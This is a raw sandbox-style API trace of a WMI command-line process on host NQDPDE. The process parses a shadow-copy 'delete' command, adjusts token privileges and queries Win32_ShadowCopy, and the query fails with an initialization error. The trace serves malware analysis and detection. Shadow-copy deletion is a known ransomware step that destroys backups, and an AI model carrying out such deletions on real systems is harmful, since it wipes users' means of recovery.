	[0225.810] lstrlenW (lpString="Shadow copy management.") returned 23
	[0225.810] malloc (_Size=0x30) returned 0x1bf46daa910
	[0225.810] lstrlenW (lpString="Shadow copy management.") returned 23
	[0225.810] free (_Block=0x1bf46dad8b0) 
	[0225.810] IUnknown:Release (This=0x1bf46e970e0) returned 0x0
	[0225.810] free (_Block=0x1bf46dada70) 
	[0225.810] ??1CHString@@QEAA@XZ () returned 0x7ff850d2674c
	[0225.810] lstrlenW (lpString="PATH") returned 4
	[0225.810] lstrlenW (lpString="delete") returned 6
	[0225.810] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="PATH", cchCount2=4) returned 1
	[0225.810] lstrlenW (lpString="WHERE") returned 5
	[0225.810] lstrlenW (lpString="delete") returned 6
	[0225.810] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="WHERE", cchCount2=5) returned 1
	[0225.811] lstrlenW (lpString="(") returned 1
	[0225.811] lstrlenW (lpString="delete") returned 6
	[0225.811] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="(", cchCount2=1) returned 3
	[0225.811] lstrlenW (lpString="/") returned 1
	[0225.811] lstrlenW (lpString="delete") returned 6
	[0225.811] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3
	[0225.811] lstrlenW (lpString="-") returned 1
	[0225.811] lstrlenW (lpString="delete") returned 6
	[0225.811] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3
	[0225.811] malloc (_Size=0x18) returned 0x1bf46dade50
	[0225.811] lstrlenW (lpString="GET") returned 3
	[0225.811] lstrlenW (lpString="delete") returned 6
	[0225.811] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1
	[0225.811] lstrlenW (lpString="LIST") returned 4
	[0225.811] lstrlenW (lpString="delete") returned 6
	[0225.811] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1
	[0225.811] lstrlenW (lpString="SET") returned 3
	[0225.811] lstrlenW (lpString="delete") returned 6
	[0225.812] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1
	[0225.812] lstrlenW (lpString="CREATE") returned 6
	[0225.812] lstrlenW (lpString="delete") returned 6
	[0225.812] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3
	[0225.812] lstrlenW (lpString="CALL") returned 4
	[0225.812] lstrlenW (lpString="delete") returned 6
	[0225.812] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3
	[0225.812] lstrlenW (lpString="ASSOC") returned 5
	[0225.812] lstrlenW (lpString="delete") returned 6
	[0225.812] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3
	[0225.812] lstrlenW (lpString="DELETE") returned 6
	[0225.812] lstrlenW (lpString="delete") returned 6
	[0225.812] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2
	[0225.812] free (_Block=0x1bf46dade50) 
	[0225.812] lstrlenW (lpString="/") returned 1
	[0225.812] lstrlenW (lpString="delete") returned 6
	[0225.812] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3
	[0225.812] lstrlenW (lpString="-") returned 1
	[0225.813] lstrlenW (lpString="delete") returned 6
	[0225.813] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3
	[0225.813] lstrlenW (lpString="delete") returned 6
	[0225.813] malloc (_Size=0xe) returned 0x1bf46dadc10
	[0225.813] lstrlenW (lpString="delete") returned 6
	[0225.813] lstrlenW (lpString="GET") returned 3
	[0225.813] lstrlenW (lpString="delete") returned 6
	[0225.813] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1
	[0225.813] lstrlenW (lpString="LIST") returned 4
	[0225.813] lstrlenW (lpString="delete") returned 6
	[0225.813] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1
	[0225.813] lstrlenW (lpString="SET") returned 3
	[0225.813] lstrlenW (lpString="delete") returned 6
	[0225.813] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1
	[0225.813] lstrlenW (lpString="CREATE") returned 6
	[0225.813] lstrlenW (lpString="delete") returned 6
	[0225.813] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3
	[0225.813] lstrlenW (lpString="CALL") returned 4
	[0225.813] lstrlenW (lpString="delete") returned 6
	[0225.813] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3
	[0225.813] lstrlenW (lpString="ASSOC") returned 5
	[0225.814] lstrlenW (lpString="delete") returned 6
	[0225.814] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3
	[0225.814] lstrlenW (lpString="DELETE") returned 6
	[0225.814] lstrlenW (lpString="delete") returned 6
	[0225.814] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2
	[0225.814] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30
	[0225.814] malloc (_Size=0x3e) returned 0x1bf46daebe0
	[0225.814] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30
	[0225.814] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xffffffffffffff60 | out: _String="Select", _Context=0xffffffffffffff60) returned="Select"
	[0225.814] malloc (_Size=0x18) returned 0x1bf46dadb90
	[0225.814] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x65006c00650053 | out: _String=0x0, _Context=0x65006c00650053) returned="*"
	[0225.814] lstrlenW (lpString="FROM") returned 4
	[0225.814] lstrlenW (lpString="*") returned 1
	[0225.814] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1
	[0225.814] malloc (_Size=0x18) returned 0x1bf46dadab0
	[0225.814] free (_Block=0x1bf46dadb90) 
	[0225.814] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x1bf46c50db0*="\x01\x01" | out: _String=0x0, _Context=0x1bf46c50db0*="\x01\x01") returned="from"
	[0225.814] lstrlenW (lpString="FROM") returned 4
	[0225.815] lstrlenW (lpString="from") returned 4
	[0225.815] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2
	[0225.815] malloc (_Size=0x18) returned 0x1bf46dadb30
	[0225.815] free (_Block=0x1bf46dadab0) 
	[0225.815] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x1bf46c50db0*="\x01\x01" | out: _String=0x0, _Context=0x1bf46c50db0*="\x01\x01") returned="Win32_ShadowCopy"
	[0225.815] malloc (_Size=0x18) returned 0x1bf46dadb90
	[0225.815] free (_Block=0x1bf46dadb30) 
	[0225.815] free (_Block=0x1bf46daebe0) 
	[0225.815] free (_Block=0x1bf46dadb90) 
	[0225.815] lstrlenW (lpString="SET") returned 3
	[0225.815] lstrlenW (lpString="delete") returned 6
	[0225.815] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1
	[0225.815] lstrlenW (lpString="CREATE") returned 6
	[0225.815] lstrlenW (lpString="delete") returned 6
	[0225.815] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3
	[0225.815] free (_Block=0x1bf46dadb70) 
	[0225.815] malloc (_Size=0x8) returned 0x1bf46daebe0
	[0225.815] lstrlenW (lpString="GET") returned 3
	[0225.816] lstrlenW (lpString="delete") returned 6
	[0225.816] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1
	[0225.816] lstrlenW (lpString="LIST") returned 4
	[0225.816] lstrlenW (lpString="delete") returned 6
	[0225.816] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1
	[0225.816] lstrlenW (lpString="ASSOC") returned 5
	[0225.816] lstrlenW (lpString="delete") returned 6
	[0225.816] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3
	[0225.816] WbemLocator:IUnknown:AddRef (This=0x1bf46e2c080) returned 0x3
	[0225.816] free (_Block=0x1bf46da1790) 
	[0225.816] lstrlenW (lpString="") returned 0
	[0225.816] lstrlenW (lpString="NQDPDE") returned 6
	[0225.816] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="", cchCount2=0) returned 3
	[0225.816] lstrlenW (lpString="NQDPDE") returned 6
	[0225.816] malloc (_Size=0xe) returned 0x1bf46dada70
	[0225.816] lstrlenW (lpString="NQDPDE") returned 6
	[0225.816] GetCurrentThreadId () returned 0xde4
	[0225.816] GetCurrentProcess () returned 0xffffffffffffffff
	[0225.816] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0xa2aac7faf0 | out: TokenHandle=0xa2aac7faf0*=0x2ac) returned 1
	[0225.816] GetTokenInformation (in: TokenHandle=0x2ac, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xa2aac7fae8 | out: TokenInformation=0x0, ReturnLength=0xa2aac7fae8) returned 0
	[0225.816] malloc (_Size=0x118) returned 0x1bf46daec00
	[0225.816] GetTokenInformation (in: TokenHandle=0x2ac, TokenInformationClass=0x3, TokenInformation=0x1bf46daec00, TokenInformationLength=0x118, ReturnLength=0xa2aac7fae8 | out: TokenInformation=0x1bf46daec00, ReturnLength=0xa2aac7fae8) returned 1
	[0225.816] AdjustTokenPrivileges (in: TokenHandle=0x2ac, DisableAllPrivileges=0, NewState=0x1bf46daec00*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x9), (Luid.LowPart=0x2, Luid.HighPart=10, Attributes=0x0), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0xd), (Luid.LowPart=0x2, Luid.HighPart=14, Attributes=0x0), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x12), (Luid.LowPart=0x2, Luid.HighPart=19, Attributes=0x0), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x17), (Luid.LowPart=0x3, Luid.HighPart=24, Attributes=0x0), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x1d), (Luid.LowPart=0x3, Luid.HighPart=30, Attributes=0x0), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x23), (Luid.LowPart=0x2, Luid.HighPart=798026935, Attributes=0x1244), (Luid.LowPart=0x1bf, Luid.HighPart=1188698000, Attributes=0x1bf), (Luid.LowPart=0x22, Luid.HighPart=687865897, Attributes=0x1253), (Luid.LowPart=0x1bf, Luid.HighPart=1188692304, Attributes=0x1bf), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1
	[0225.816] free (_Block=0x1bf46daec00) 
	[0225.816] CloseHandle (hObject=0x2ac) returned 1
	[0225.816] lstrlenW (lpString="GET") returned 3
	[0225.816] lstrlenW (lpString="delete") returned 6
	[0225.816] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1
	[0225.816] lstrlenW (lpString="LIST") returned 4
	[0225.816] lstrlenW (lpString="delete") returned 6
	[0225.817] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1
	[0225.817] lstrlenW (lpString="SET") returned 3
	[0225.817] lstrlenW (lpString="delete") returned 6
	[0225.817] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1
	[0225.817] lstrlenW (lpString="CALL") returned 4
	[0225.817] lstrlenW (lpString="delete") returned 6
	[0225.817] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3
	[0225.817] lstrlenW (lpString="ASSOC") returned 5
	[0225.817] lstrlenW (lpString="delete") returned 6
	[0225.817] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3
	[0225.817] lstrlenW (lpString="CREATE") returned 6
	[0225.817] lstrlenW (lpString="delete") returned 6
	[0225.817] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3
	[0225.817] lstrlenW (lpString="DELETE") returned 6
	[0225.817] lstrlenW (lpString="delete") returned 6
	[0225.817] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2
	[0225.817] malloc (_Size=0x18) returned 0x1bf46dadb70
	[0225.817] lstrlenA (lpString="") returned 0
	[0225.817] malloc (_Size=0x2) returned 0x1bf46da1790
	[0225.817] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ff75b96c40c, cbMultiByte=-1, lpWideCharStr=0x1bf46da1790, cchWideChar=1 | out: lpWideCharStr="") returned 1
	[0225.817] free (_Block=0x1bf46da1790) 
	[0225.817] malloc (_Size=0x18) returned 0x1bf46dad9b0
	[0225.817] lstrlenA (lpString="") returned 0
	[0225.817] malloc (_Size=0x2) returned 0x1bf46da1790
	[0225.817] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ff75b96c40c, cbMultiByte=-1, lpWideCharStr=0x1bf46da1790, cchWideChar=1 | out: lpWideCharStr="") returned 1
	[0225.817] free (_Block=0x1bf46da1790) 
	[0225.817] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30
	[0225.817] malloc (_Size=0x3e) returned 0x1bf46daec00
	[0225.817] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30
	[0225.817] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xffffffffffffff40 | out: _String="Select", _Context=0xffffffffffffff40) returned="Select"
	[0225.817] malloc (_Size=0x18) returned 0x1bf46dada50
	[0225.818] free (_Block=0x1bf46dad9b0) 
	[0225.818] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x1bf46c50db0*="\x01\x01" | out: _String=0x0, _Context=0x1bf46c50db0*="\x01\x01") returned="*"
	[0225.818] lstrlenW (lpString="FROM") returned 4
	[0225.818] lstrlenW (lpString="*") returned 1
	[0225.818] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1
	[0225.818] malloc (_Size=0x18) returned 0x1bf46dadc30
	[0225.818] free (_Block=0x1bf46dada50) 
	[0225.818] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x1bf46c50db0*="\x01\x01" | out: _String=0x0, _Context=0x1bf46c50db0*="\x01\x01") returned="from"
	[0225.818] lstrlenW (lpString="FROM") returned 4
	[0225.818] lstrlenW (lpString="from") returned 4
	[0225.818] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2
	[0225.818] malloc (_Size=0x18) returned 0x1bf46dadd50
	[0225.818] free (_Block=0x1bf46dadc30) 
	[0225.818] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x1bf46c50db0*="\x01\x01" | out: _String=0x0, _Context=0x1bf46c50db0*="\x01\x01") returned="Win32_ShadowCopy"
	[0225.818] malloc (_Size=0x18) returned 0x1bf46dadbb0
	[0225.818] free (_Block=0x1bf46dadd50) 
	[0225.818] free (_Block=0x1bf46daec00) 
	[0225.818] malloc (_Size=0x18) returned 0x1bf46dadf10
	[0225.818] malloc (_Size=0x18) returned 0x1bf46dad950
	[0225.818] SysStringLen (param_1="SELECT * FROM ") returned 0xe
	[0225.818] SysStringLen (param_1="Win32_ShadowCopy") returned 0x10
	[0225.818] free (_Block=0x1bf46dadb70) 
	[0225.819] free (_Block=0x1bf46dadf10) 
	[0225.867] ??0CHString@@QEAA@XZ () returned 0xa2aac7fa60
	[0225.867] GetCurrentThreadId () returned 0xde4
	[0225.867] malloc (_Size=0x18) returned 0x1bf46dade30
	[0225.867] malloc (_Size=0x18) returned 0x1bf46dad8b0
	[0225.867] malloc (_Size=0x18) returned 0x1bf46dade50
	[0225.867] malloc (_Size=0x18) returned 0x1bf46dad8d0
	[0225.867] malloc (_Size=0x18) returned 0x1bf46daddf0
	[0225.867] SysStringLen (param_1="\\\\") returned 0x2
	[0225.867] SysStringLen (param_1="NQDPDE") returned 0x6
	[0225.867] malloc (_Size=0x18) returned 0x1bf46dadcf0
	[0225.867] SysStringLen (param_1="\\\\NQDPDE") returned 0x8
	[0225.867] SysStringLen (param_1="\\") returned 0x1
	[0225.867] malloc (_Size=0x18) returned 0x1bf46dadd50
	[0225.867] SysStringLen (param_1="\\\\NQDPDE\\") returned 0x9
	[0225.867] SysStringLen (param_1="ROOT\\CIMV2") returned 0xa
	[0225.868] free (_Block=0x1bf46dadcf0) 
	[0225.868] free (_Block=0x1bf46daddf0) 
	[0225.868] free (_Block=0x1bf46dad8d0) 
	[0225.868] free (_Block=0x1bf46dade50) 
	[0225.868] free (_Block=0x1bf46dad8b0) 
	[0225.868] free (_Block=0x1bf46dade30) 
	[0225.868] malloc (_Size=0x18) returned 0x1bf46dadc30
	[0225.868] malloc (_Size=0x18) returned 0x1bf46dad8b0
	[0225.868] malloc (_Size=0x18) returned 0x1bf46dad9b0
	[0225.868] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bf46e2c080, strNetworkResource="\\\\NQDPDE\\ROOT\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x7ff75b9878d0 | out: ppNamespace=0x7ff75b9878d0*=0x1bf46e83f40) returned 0x0
	[0226.058] free (_Block=0x1bf46dad9b0) 
	[0226.059] free (_Block=0x1bf46dad8b0) 
	[0226.059] free (_Block=0x1bf46dadc30) 
	[0226.059] CoSetProxyBlanket (pProxy=0x1bf46e83f40, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0
	[0226.059] free (_Block=0x1bf46dadd50) 
	[0226.059] ??1CHString@@QEAA@XZ () returned 0x7ff850d2674c
	[0226.059] ??0CHString@@QEAA@XZ () returned 0xa2aac7f9a0
	[0226.059] GetCurrentThreadId () returned 0xde4
	[0226.059] malloc (_Size=0x18) returned 0x1bf46dadab0
	[0226.059] lstrlenA (lpString="") returned 0
	[0226.059] malloc (_Size=0x2) returned 0x1bf46da1790
	[0226.059] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ff75b96c40c, cbMultiByte=-1, lpWideCharStr=0x1bf46da1790, cchWideChar=1 | out: lpWideCharStr="") returned 1
	[0226.059] free (_Block=0x1bf46da1790) 
	[0226.059] SysStringLen (param_1="SELECT * FROM Win32_ShadowCopy") returned 0x1e
	[0226.059] SysStringLen (param_1="") returned 0x0
	[0226.059] free (_Block=0x1bf46dadab0) 
	[0226.059] malloc (_Size=0x18) returned 0x1bf46dadab0
	[0226.059] IWbemServices:ExecQuery (in: This=0x1bf46e83f40, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_ShadowCopy", lFlags=0, pCtx=0x0, ppEnum=0xa2aac7f9b0 | out: ppEnum=0xa2aac7f9b0*=0x0) returned 0x80041014
	[0228.439] free (_Block=0x1bf46dadab0) 
	[0228.439] _CxxThrowException () 
	[0228.455] malloc (_Size=0x20) returned 0x1bf46daec00
	[0228.455] ??1CHString@@QEAA@XZ () returned 0x7ff850d2674c
	[0228.455] free (_Block=0x1bf46dadbb0) 
	[0228.455] free (_Block=0x1bf46dad950) 
	[0228.455] GetCurrentThreadId () returned 0xde4
	[0228.455] ??0CHString@@QEAA@PEBG@Z () returned 0xa2aac7fb98
	[0228.455] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xa2aac7fb98
	[0228.455] ??0CHString@@QEAA@XZ () returned 0xa2aac7f940
	[0228.455] malloc (_Size=0x18) returned 0x1bf46dadf10
	[0228.456] malloc (_Size=0x18) returned 0x1bf46dadbb0
	[0228.456] SysStringLen (param_1="") returned 0x0
	[0228.456] free (_Block=0x1bf46dadf10) 
	[0228.456] CoCreateInstance (in: rclsid=0x7ff75b9705a8*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff75b9705b8*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppv=0x7ff75b9878f8 | out: ppv=0x7ff75b9878f8*=0x1bf46e6e020) returned 0x0
	[0228.459] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x1bf46e6e020, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0xa2aac7f938 | out: MessageText=0xa2aac7f938*="Initialization failure\r\n") returned 0x0
	[0228.944] free (_Block=0x1bf46dadbb0) 
	[0228.944] malloc (_Size=0x18) returned 0x1bf46daddf0
	[0228.944] WbemStatusCodeText:IWbemStatusCodeText:GetFacilityCodeText (in: This=0x1bf46e6e020, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0xa2aac7f930 | out: MessageText=0xa2aac7f930*="WMI") returned 0x0
	[0228.997] malloc (_Size=0x18) returned 0x1bf46dadab0
	[0228.997] lstrlenW (lpString="WMI") returned 3
	[0228.997] lstrlenW (lpString="Wbem") returned 4
	[0228.997] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Wbem", cchCount1=4, lpString2="WMI", cchCount2=3) returned 1
	[0228.997] lstrlenW (lpString="WMI") returned 3
	[0228.997] lstrlenW (lpString="WMI") returned 3
	[0228.997] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="WMI", cchCount1=3, lpString2="WMI", cchCount2=3) returned 2
	[0228.997] WbemStatusCodeText:IUnknown:Release (This=0x1bf46e6e020) returned 0x0
	[0228.997] ??1CHString@@QEAA@XZ () returned 0x7ff850d2674c
	[0228.997] LoadStringW (in: hInstance=0x0, uID=0xb7f3, lpBuffer=0xa2aac7f1a0, cchBufferMax=1024 | out: lpBuffer="ERROR:\r\nDescription = %1") returned 0x18
	[0228.997] FormatMessageW (in: dwFlags=0x2500, lpSource=0xa2aac7f1a0, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0xa2aac7f170, nSize=0x0, Arguments=0xa2aac7f178 | out: lpBuffer="\x4eb0\x46e8\x1bf") returned 0x2e
	[0228.997] malloc (_Size=0x18) returned 0x1bf46dad950
	[0228.997] LocalFree (hMem=0x1bf46e84eb0) returned 0x0
	[0228.997] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47
	[0228.997] malloc (_Size=0x2f) returned 0x1bf46daa610
	[0228.997] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x1bf46daa610, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ERROR:\r\nDescription = Initialization failure\r\n", lpUsedDefaultChar=0x0) returned 47
	[0228.997] __iob_func () returned 0x7ff86034ea00
	[0228.998] fprintf (in: _File=0x7ff86034ea60, _Format="%s" | out: _File=0x7ff86034ea60) returned 46
	[0229.158] __iob_func () returned 0x7ff86034ea00
	[0229.158] fflush (in: _File=0x7ff86034ea60 | out: _File=0x7ff86034ea60) returned 0
	[0229.159] free (_Block=0x1bf46daa610) 
	[0229.159] free (_Block=0x1bf46dad950) 
	[0229.159] free (_Block=0x1bf46dadab0) 
	[0229.159] free (_Block=0x1bf46daddf0) 
	[0229.159] ??1CHString@@QEAA@XZ () returned 0x1
	[0229.159] ??0CHString@@QEAA@PEBG@Z () returned 0xa2aac7fb80
	[0229.159] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0xa2aac7fb80
	[0229.159] GetCurrentThreadId () returned 0xde4
	[0229.159] ??1CHString@@QEAA@XZ () returned 0x1
	[0229.159] WbemLocator:IUnknown:Release (This=0x1bf46e83f40) returned 0x0
	[0229.162] ?Empty@CHString@@QEAAXXZ () returned 0x7ff850d2674c
	[0229.162] free (_Block=0x1bf46daec00) 
	[0229.162] _kbhit () returned 0x0
	[0229.749] free (_Block=0x1bf46daebe0) 
	[0229.749] free (_Block=0x1bf46dad930) 
	[0229.749] free (_Block=0x1bf46dadc90) 
	[0229.749] free (_Block=0x1bf46dadb50) 
	[0229.749] free (_Block=0x1bf46dadb10) 
	[0229.749] free (_Block=0x1bf46da6000) 
	[0229.749] free (_Block=0x1bf46dad990) 
	[0229.749] free (_Block=0x1bf46daa910) 
	[0229.749] free (_Block=0x1bf46dadc10) 
	[0229.749] free (_Block=0x1bf46daeb40) 
	[0229.749] free (_Block=0x1bf46dadad0) 
	[0229.749] free (_Block=0x1bf46dada10) 
	[0229.749] free (_Block=0x1bf46daebc0) 
	[0229.749] free (_Block=0x1bf46da5fb0) 
	[0229.749] free (_Block=0x1bf46daeb90) 
	[0229.750] ?Empty@CHString@@QEAAXXZ () returned 0x7ff850d2674c
	[0229.750] free (_Block=0x1bf46dae050) 
	[0229.750] free (_Block=0x1bf46daddd0) 
	[0229.750] free (_Block=0x1bf46dadd10) 
	[0229.750] free (_Block=0x1bf46da5a80) 
	[0229.750] free (_Block=0x1bf46da5ad0) 
	[0229.750] free (_Block=0x1bf46da5b20) 
	[0229.750] free (_Block=0x1bf46dada70) 
	[0229.750] free (_Block=0x1bf46da5bd0) 
	[0229.750] free (_Block=0x1bf46da5f90) 
	[0229.750] free (_Block=0x1bf46daa9d0) 
	[0229.750] free (_Block=0x1bf46da5f70) 
	[0229.750] free (_Block=0x1bf46daa510) 
	[0229.750] free (_Block=0x1bf46da5f10) 
	[0229.750] free (_Block=0x1bf46da5f30) 
	[0229.750] free (_Block=0x1bf46da5df0) 
	[0229.750] free (_Block=0x1bf46da5e10) 
	[0229.750] free (_Block=0x1bf46da5d90) 
	[0229.750] free (_Block=0x1bf46da5db0) 
	[0229.750] free (_Block=0x1bf46da5e50) 
	[0229.750] free (_Block=0x1bf46da5e70) 
	[0229.750] free (_Block=0x1bf46da5eb0) 
	[0229.750] free (_Block=0x1bf46da5ed0) 
	[0229.750] free (_Block=0x1bf46da5cd0) 
	[0229.750] free (_Block=0x1bf46da5cf0) 
	[0229.750] free (_Block=0x1bf46da5c70) 
	[0229.750] free (_Block=0x1bf46da5c90) 
	[0229.750] free (_Block=0x1bf46da5d30) 
	[0229.750] free (_Block=0x1bf46da5d50) 
	[0229.750] free (_Block=0x1bf46da5c10) 
	[0229.750] free (_Block=0x1bf46da5c30) 
	[0229.750] free (_Block=0x1bf46da5ba0) 
	[0229.750] free (_Block=0x1bf46da5b70) 
	[0229.750] free (_Block=0x1bf46dab420) 
	[0229.750] WbemLocator:IUnknown:Release (This=0x1bf46e2c080) returned 0x2
	[0229.751] WbemLocator:IUnknown:Release (This=0x1bf46e84210) returned 0x0
	[0229.751] WbemLocator:IUnknown:Release (This=0x1bf46e83eb0) returned 0x0
